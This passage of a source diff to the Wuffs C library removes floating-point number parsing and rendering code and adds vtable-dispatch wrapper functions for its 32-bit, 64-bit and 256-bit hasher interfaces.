.. 1]. -- if (man3 < 125) { -- additional_lshift = +4; -- } else if (man3 < 250) { -- additional_lshift = +3; -- } else if (man3 < 500) { -- additional_lshift = +2; -- } else { -- additional_lshift = +1; -- } -- } else { // The value is in [1 .. 10]. -- if (man3 < 200) { -- additional_lshift = -0; -- } else if (man3 < 400) { -- additional_lshift = -1; -- } else if (man3 < 800) { -- additional_lshift = -2; -- } else { -- additional_lshift = -3; -- } -- } -- exp2 -= additional_lshift; -- uint32_t final_lshift = (uint32_t)(52 + additional_lshift); -+// ---------------- Interface Definitions. - -- // The minimum normal exponent is (f64_bias + 1). -- while ((f64_bias + 1) > exp2) { -- uint32_t n = (uint32_t)((f64_bias + 1) - exp2); -- if (n > WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL) { -- n = WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; -- } -- wuffs_base__private_implementation__high_prec_dec__small_rshift(h, n); -- exp2 += (int32_t)n; -- } -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_base__hasher_u32__checksum_u32( -+ const wuffs_base__hasher_u32* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - -- // Check for overflow. -- if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. -- goto infinity; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { -+ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->checksum_u32)(self); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; -+ } - -- // Extract 53 bits for the mantissa (in base-2). -- wuffs_base__private_implementation__high_prec_dec__small_lshift( -- h, final_lshift); -- uint64_t man2 = -- wuffs_base__private_implementation__high_prec_dec__rounded_integer(h); -+ return 0; -+} - -- // Rounding might have added one bit. If so, shift and re-check overflow. -- if ((man2 >> 53) != 0) { -- man2 >>= 1; -- exp2++; -- if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. -- goto infinity; -- } -- } -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_base__hasher_u32__get_quirk( -+ const wuffs_base__hasher_u32* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - -- // Handle subnormal numbers. -- if ((man2 >> 52) == 0) { -- exp2 = f64_bias; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { -+ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->get_quirk)(self, a_key); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; -+ } - -- // Pack the bits and return. -- uint64_t exp2_bits = -- (uint64_t)((exp2 - f64_bias) & 0x07FF); // (1 << 11) - 1. -- uint64_t bits = (man2 & 0x000FFFFFFFFFFFFF) | // (1 << 52) - 1. -- (exp2_bits << 52) | // -- (h->negative ? 0x8000000000000000 : 0); // (1 << 63). -- -- wuffs_base__result_f64 ret; -- ret.status.repr = NULL; -- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); -- return ret; -- } while (0); -- --zero: -- do { -- uint64_t bits = h->negative ? 0x8000000000000000 : 0; -+ return 0; -+} - -- wuffs_base__result_f64 ret; -- ret.status.repr = NULL; -- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); -- return ret; -- } while (0); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__hasher_u32__set_quirk( -+ wuffs_base__hasher_u32* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } - --infinity: -- do { -- if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { -- wuffs_base__result_f64 ret; -- ret.status.repr = wuffs_base__error__bad_argument; -- ret.value = 0; -- return ret; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { -+ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->set_quirk)(self, a_key, a_value); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; -+ } - -- uint64_t bits = h->negative ? 0xFFF0000000000000 : 0x7FF0000000000000; -- -- wuffs_base__result_f64 ret; -- ret.status.repr = NULL; -- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); -- return ret; -- } while (0); -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); - } - --static inline bool // --wuffs_base__private_implementation__is_decimal_digit(uint8_t c) { -- return ('0' <= c) && (c <= '9'); --} -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_base__hasher_u32__update( -+ wuffs_base__hasher_u32* self, -+ wuffs_base__slice_u8 a_x) { -+ if (!self) { -+ return wuffs_base__make_empty_struct(); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_empty_struct(); -+ } - --WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // --wuffs_base__parse_number_f64(wuffs_base__slice_u8 s, uint32_t options) { -- // In practice, almost all "dd.ddddE±xxx" numbers can be represented -- // losslessly by a uint64_t mantissa "dddddd" and an int32_t base-10 -- // exponent, adjusting "xxx" for the position (if present) of the decimal -- // separator '.' or ','. -- // -- // This (u64 man, i32 exp10) data structure is superficially similar to the -- // "Do It Yourself Floating Point" type from Loitsch (†), but the exponent -- // here is base-10, not base-2. -- // -- // If s's number fits in a (man, exp10), parse that pair with the -- // Eisel-Lemire algorithm. If not, or if Eisel-Lemire fails, parsing s with -- // the fallback algorithm is slower but comprehensive. -- // -- // † "Printing Floating-Point Numbers Quickly and Accurately with Integers" -- // (https://www.cs.tufts.edu/~nr/cs257/archive/florian-loitsch/printf.pdf). -- // Florian Loitsch is also the primary contributor to -- // https://github.com/google/double-conversion -- do { -- // Calculating that (man, exp10) pair needs to stay within s's bounds. -- // Provided that s isn't extremely long, work on a NUL-terminated copy of -- // s's contents. The NUL byte isn't a valid part of "±dd.ddddE±xxx". -- // -- // As the pointer p walks the contents, it's faster to repeatedly check "is -- // *p a valid digit" than "is p within bounds and *p a valid digit". -- if (s.len >= 256) { -- goto fallback; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { -+ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->update)(self, a_x); -+ } else if (v->vtable_name == NULL) { -+ break; - } -- uint8_t z[256]; -- memcpy(&z[0], s.ptr, s.len); -- z[s.len] = 0; -- const uint8_t* p = &z[0]; -+ v++; -+ } - -- // Look for a leading minus sign. Technically, we could also look for an -- // optional plus sign, but the "script/process-json-numbers.c with -p" -- // benchmark is noticably slower if we do. It's optional and, in practice, -- // usually absent. Let the fallback catch it. -- bool negative = (*p == '-'); -- if (negative) { -- p++; -- } -+ return wuffs_base__make_empty_struct(); -+} - -- // After walking "dd.dddd", comparing p later with p now will produce the -- // number of "d"s and "."s. -- const uint8_t* const start_of_digits_ptr = p; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_base__hasher_u32__update_u32( -+ wuffs_base__hasher_u32* self, -+ wuffs_base__slice_u8 a_x) { -+ if (!self) { -+ return 0; -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return 0; -+ } - -- // Walk the "d"s before a '.', 'E', NUL byte, etc. If it starts with '0', -- // it must be a single '0'. If it starts with a non-zero decimal digit, it -- // can be a sequence of decimal digits. -- // -- // Update the man variable during the walk. It's OK if man overflows now. -- // We'll detect that later. -- uint64_t man; -- if (*p == '0') { -- man = 0; -- p++; -- if (wuffs_base__private_implementation__is_decimal_digit(*p)) { -- goto fallback; -- } -- } else if (wuffs_base__private_implementation__is_decimal_digit(*p)) { -- man = ((uint8_t)(*p - '0')); -- p++; -- for (; wuffs_base__private_implementation__is_decimal_digit(*p); p++) { -- man = (10 * man) + ((uint8_t)(*p - '0')); -- } -- } else { -- goto fallback; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { -+ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->update_u32)(self, a_x); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; -+ } - -- // Walk the "d"s after the optional decimal separator ('.' or ','), -- // updating the man and exp10 variables. -- int32_t exp10 = 0; -- if (*p == -- ((options & WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -- ? ',' -- : '.')) { -- p++; -- const uint8_t* first_after_separator_ptr = p; -- if (!wuffs_base__private_implementation__is_decimal_digit(*p)) { -- goto fallback; -- } -- man = (10 * man) + ((uint8_t)(*p - '0')); -- p++; -- for (; wuffs_base__private_implementation__is_decimal_digit(*p); p++) { -- man = (10 * man) + ((uint8_t)(*p - '0')); -- } -- exp10 = ((int32_t)(first_after_separator_ptr - p)); -- } -+ return 0; -+} - -- // Count the number of digits: -- // - for an input of "314159", digit_count is 6. -- // - for an input of "3.14159", digit_count is 7. -- // -- // This is off-by-one if there is a decimal separator. That's OK for now. -- // We'll correct for that later. The "script/process-json-numbers.c with -- // -p" benchmark is noticably slower if we try to correct for that now. -- uint32_t digit_count = (uint32_t)(p - start_of_digits_ptr); -+// -------- - -- // Update exp10 for the optional exponent, starting with 'E' or 'e'. -- if ((*p | 0x20) == 'e') { -- p++; -- int32_t exp_sign = +1; -- if (*p == '-') { -- p++; -- exp_sign = -1; -- } else if (*p == '+') { -- p++; -- } -- if (!wuffs_base__private_implementation__is_decimal_digit(*p)) { -- goto fallback; -- } -- int32_t exp_num = ((uint8_t)(*p - '0')); -- p++; -- // The rest of the exp_num walking has a peculiar control flow but, once -- // again, the "script/process-json-numbers.c with -p" benchmark is -- // sensitive to alternative formulations. -- if (wuffs_base__private_implementation__is_decimal_digit(*p)) { -- exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); -- p++; -- } -- if (wuffs_base__private_implementation__is_decimal_digit(*p)) { -- exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); -- p++; -- } -- while (wuffs_base__private_implementation__is_decimal_digit(*p)) { -- if (exp_num > 0x1000000) { -- goto fallback; -- } -- exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); -- p++; -- } -- exp10 += exp_sign * exp_num; -- } -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_base__hasher_u64__checksum_u64( -+ const wuffs_base__hasher_u64* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - -- // The Wuffs API is that the original slice has no trailing data. It also -- // allows underscores, which we don't catch here but the fallback should. -- if (p != &z[s.len]) { -- goto fallback; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { -+ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->checksum_u64)(self); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; -+ } - -- // Check that the uint64_t typed man variable has not overflowed, based on -- // digit_count. -- // -- // For reference: -- // - (1 << 63) is 9223372036854775808, which has 19 decimal digits. -- // - (1 << 64) is 18446744073709551616, which has 20 decimal digits. -- // - 19 nines, 9999999999999999999, is 0x8AC7230489E7FFFF, which has 64 -- // bits and 16 hexadecimal digits. -- // - 20 nines, 99999999999999999999, is 0x56BC75E2D630FFFFF, which has 67 -- // bits and 17 hexadecimal digits. -- if (digit_count > 19) { -- // Even if we have more than 19 pseudo-digits, it's not yet definitely an -- // overflow. Recall that digit_count might be off-by-one (too large) if -- // there's a decimal separator. It will also over-report the number of -- // meaningful digits if the input looks something like "0.000dddExxx". -- // -- // We adjust by the number of leading '0's and '.'s and re-compare to 19. -- // Once again, technically, we could skip ','s too, but that perturbs the -- // "script/process-json-numbers.c with -p" benchmark. -- const uint8_t* q = start_of_digits_ptr; -- for (; (*q == '0') || (*q == '.'); q++) { -- } -- digit_count -= (uint32_t)(q - start_of_digits_ptr); -- if (digit_count > 19) { -- goto fallback; -- } -- } -+ return 0; -+} - -- // The wuffs_base__private_implementation__parse_number_f64_eisel_lemire -- // preconditions include that exp10 is in the range [-307 ..= 288]. -- if ((exp10 < -307) || (288 < exp10)) { -- goto fallback; -- } -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_base__hasher_u64__get_quirk( -+ const wuffs_base__hasher_u64* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - -- // If both man and (10 ** exp10) are exactly representable by a double, we -- // don't need to run the Eisel-Lemire algorithm. -- if ((-22 <= exp10) && (exp10 <= 22) && ((man >> 53) == 0)) { -- double d = (double)man; -- if (exp10 >= 0) { -- d *= wuffs_base__private_implementation__f64_powers_of_10[+exp10]; -- } else { -- d /= wuffs_base__private_implementation__f64_powers_of_10[-exp10]; -- } -- wuffs_base__result_f64 ret; -- ret.status.repr = NULL; -- ret.value = negative ? -d : +d; -- return ret; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { -+ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->get_quirk)(self, a_key); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; -+ } - -- // The wuffs_base__private_implementation__parse_number_f64_eisel_lemire -- // preconditions include that man is non-zero. Parsing "0" should be caught -- // by the "If both man and (10 ** exp10)" above, but "0e99" might not. -- if (man == 0) { -- goto fallback; -- } -+ return 0; -+} - -- // Our man and exp10 are in range. Run the Eisel-Lemire algorithm. -- int64_t r = -- wuffs_base__private_implementation__parse_number_f64_eisel_lemire( -- man, exp10); -- if (r < 0) { -- goto fallback; -- } -- wuffs_base__result_f64 ret; -- ret.status.repr = NULL; -- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( -- ((uint64_t)r) | (((uint64_t)negative) << 63)); -- return ret; -- } while (0); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__hasher_u64__set_quirk( -+ wuffs_base__hasher_u64* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } - --fallback: -- do { -- wuffs_base__private_implementation__high_prec_dec h; -- wuffs_base__status status = -- wuffs_base__private_implementation__high_prec_dec__parse(&h, s, -- options); -- if (status.repr) { -- return wuffs_base__private_implementation__parse_number_f64_special( -- s, options); -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { -+ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->set_quirk)(self, a_key, a_value); -+ } else if (v->vtable_name == NULL) { -+ break; - } -- return wuffs_base__private_implementation__high_prec_dec__to_f64(&h, -- options); -- } while (0); --} -+ v++; -+ } - --// -------- -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); -+} - --static inline size_t // --wuffs_base__private_implementation__render_inf(wuffs_base__slice_u8 dst, -- bool neg, -- uint32_t options) { -- if (neg) { -- if (dst.len < 4) { -- return 0; -- } -- wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492D); // '-Inf'le. -- return 4; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_base__hasher_u64__update( -+ wuffs_base__hasher_u64* self, -+ wuffs_base__slice_u8 a_x) { -+ if (!self) { -+ return wuffs_base__make_empty_struct(); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_empty_struct(); - } - -- if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { -- if (dst.len < 4) { -- return 0; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { -+ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->update)(self, a_x); -+ } else if (v->vtable_name == NULL) { -+ break; - } -- wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492B); // '+Inf'le. -- return 4; -+ v++; - } - -- if (dst.len < 3) { -- return 0; -- } -- wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x666E49); // 'Inf'le. -- return 3; -+ return wuffs_base__make_empty_struct(); - } - --static inline size_t // --wuffs_base__private_implementation__render_nan(wuffs_base__slice_u8 dst) { -- if (dst.len < 3) { -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_base__hasher_u64__update_u64( -+ wuffs_base__hasher_u64* self, -+ wuffs_base__slice_u8 a_x) { -+ if (!self) { - return 0; - } -- wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x4E614E); // 'NaN'le. -- return 3; --} -- --static size_t // --wuffs_base__private_implementation__high_prec_dec__render_exponent_absent( -- wuffs_base__slice_u8 dst, -- wuffs_base__private_implementation__high_prec_dec* h, -- uint32_t precision, -- uint32_t options) { -- size_t n = (h->negative || -- (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) -- ? 1 -- : 0; -- if (h->decimal_point <= 0) { -- n += 1; -- } else { -- n += (size_t)(h->decimal_point); -- } -- if (precision > 0) { -- n += precision + 1; // +1 for the '.'. -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return 0; - } - -- // Don't modify dst if the formatted number won't fit. -- if (n > dst.len) { -- return 0; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { -+ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->update_u64)(self, a_x); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; - } - -- // Align-left or align-right. -- uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) -- ? &dst.ptr[dst.len - n] -- : &dst.ptr[0]; -+ return 0; -+} - -- // Leading "±". -- if (h->negative) { -- *ptr++ = '-'; -- } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { -- *ptr++ = '+'; -- } -+// -------- - -- // Integral digits. -- if (h->decimal_point <= 0) { -- *ptr++ = '0'; -- } else { -- uint32_t m = -- wuffs_base__u32__min(h->num_digits, (uint32_t)(h->decimal_point)); -- uint32_t i = 0; -- for (; i < m; i++) { -- *ptr++ = (uint8_t)('0' | h->digits[i]); -- } -- for (; i < (uint32_t)(h->decimal_point); i++) { -- *ptr++ = '0'; -- } -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 -+wuffs_base__hasher_bitvec256__checksum_bitvec256( -+ const wuffs_base__hasher_bitvec256* self) { -+ if (!self) { -+ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); - } - -- // Separator and then fractional digits. -- if (precision > 0) { -- *ptr++ = -- (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -- ? ',' -- : '.'; -- uint32_t i = 0; -- for (; i < precision; i++) { -- uint32_t j = ((uint32_t)(h->decimal_point)) + i; -- *ptr++ = (uint8_t)('0' | ((j < h->num_digits) ? h->digits[j] : 0)); -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { -+ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->checksum_bitvec256)(self); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; - } - -- return n; -+ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); - } - --static size_t // --wuffs_base__private_implementation__high_prec_dec__render_exponent_present( -- wuffs_base__slice_u8 dst, -- wuffs_base__private_implementation__high_prec_dec* h, -- uint32_t precision, -- uint32_t options) { -- int32_t exp = 0; -- if (h->num_digits > 0) { -- exp = h->decimal_point - 1; -- } -- bool negative_exp = exp < 0; -- if (negative_exp) { -- exp = -exp; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_base__hasher_bitvec256__get_quirk( -+ const wuffs_base__hasher_bitvec256* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; - } -- -- size_t n = (h->negative || -- (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) -- ? 4 -- : 3; // Mininum 3 bytes: first digit and then "e±". -- if (precision > 0) { -- n += precision + 1; // +1 for the '.'. -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; - } -- n += (exp < 100) ? 2 : 3; - -- // Don't modify dst if the formatted number won't fit. -- if (n > dst.len) { -- return 0; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { -+ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->get_quirk)(self, a_key); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; - } - -- // Align-left or align-right. -- uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) -- ? &dst.ptr[dst.len - n] -- : &dst.ptr[0]; -+ return 0; -+} - -- // Leading "±". -- if (h->negative) { -- *ptr++ = '-'; -- } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { -- *ptr++ = '+'; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__hasher_bitvec256__set_quirk( -+ wuffs_base__hasher_bitvec256* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- -- // Integral digit. -- if (h->num_digits > 0) { -- *ptr++ = (uint8_t)('0' | h->digits[0]); -- } else { -- *ptr++ = '0'; -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); - } - -- // Separator and then fractional digits. -- if (precision > 0) { -- *ptr++ = -- (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -- ? ',' -- : '.'; -- uint32_t i = 1; -- uint32_t j = wuffs_base__u32__min(h->num_digits, precision + 1); -- for (; i < j; i++) { -- *ptr++ = (uint8_t)('0' | h->digits[i]); -- } -- for (; i <= precision; i++) { -- *ptr++ = '0'; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { -+ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->set_quirk)(self, a_key, a_value); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; - } - -- // Exponent: "e±" and then 2 or 3 digits. -- *ptr++ = 'e'; -- *ptr++ = negative_exp ? '-' : '+'; -- if (exp < 10) { -- *ptr++ = '0'; -- *ptr++ = (uint8_t)('0' | exp); -- } else if (exp < 100) { -- *ptr++ = (uint8_t)('0' | (exp / 10)); -- *ptr++ = (uint8_t)('0' | (exp % 10)); -- } else { -- int32_t e = exp / 100; -- exp -= e * 100; -- *ptr++ = (uint8_t)('0' | e); -- *ptr++ = (uint8_t)('0' | (exp / 10)); -- *ptr++ = (uint8_t)('0' | (exp % 10)); -- } -- -- return n; -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); - } - --WUFFS_BASE__MAYBE_STATIC size_t // --wuffs_base__render_number_f64(wuffs_base__slice_u8 dst, -- double x, -- uint32_t precision, -- uint32_t options) { -- // Decompose x (64 bits) into negativity (1 bit), base-2 exponent (11 bits -- // with a -1023 bias) and mantissa (52 bits). -- uint64_t bits = wuffs_base__ieee_754_bit_representation__from_f64_to_u64(x); -- bool neg = (bits >> 63) != 0; -- int32_t exp2 = ((int32_t)(bits >> 52)) & 0x7FF; -- uint64_t man = bits & 0x000FFFFFFFFFFFFFul; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_base__hasher_bitvec256__update( -+ wuffs_base__hasher_bitvec256* self, -+ wuffs_base__slice_u8 a_x) { -+ if (!self) { -+ return wuffs_base__make_empty_struct(); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_empty_struct(); -+ } - -- // Apply the exponent bias and set the implicit top bit of the mantissa, -- // unless x is subnormal. Also take care of Inf and NaN. -- if (exp2 == 0x7FF) { -- if (man != 0) { -- return wuffs_base__private_implementation__render_nan(dst); -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { -+ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->update)(self, a_x); -+ } else if (v->vtable_name == NULL) { -+ break; - } -- return wuffs_base__private_implementation__render_inf(dst, neg, options); -- } else if (exp2 == 0) { -- exp2 = -1022; -- } else { -- exp2 -= 1023; -- man |= 0x0010000000000000ul; -+ v++; - } - -- // Ensure that precision isn't too large. -- if (precision > 4095) { -- precision = 4095; -+ return wuffs_base__make_empty_struct(); -+} -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 -+wuffs_base__hasher_bitvec256__update_bitvec256( -+ wuffs_base__hasher_bitvec256* self, -+ wuffs_base__slice_u8 a_x) { -+ if (!self) { -+ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); - } - -- // Convert from the (neg, exp2, man) tuple to an HPD. -- wuffs_base__private_implementation__high_prec_dec h; -- 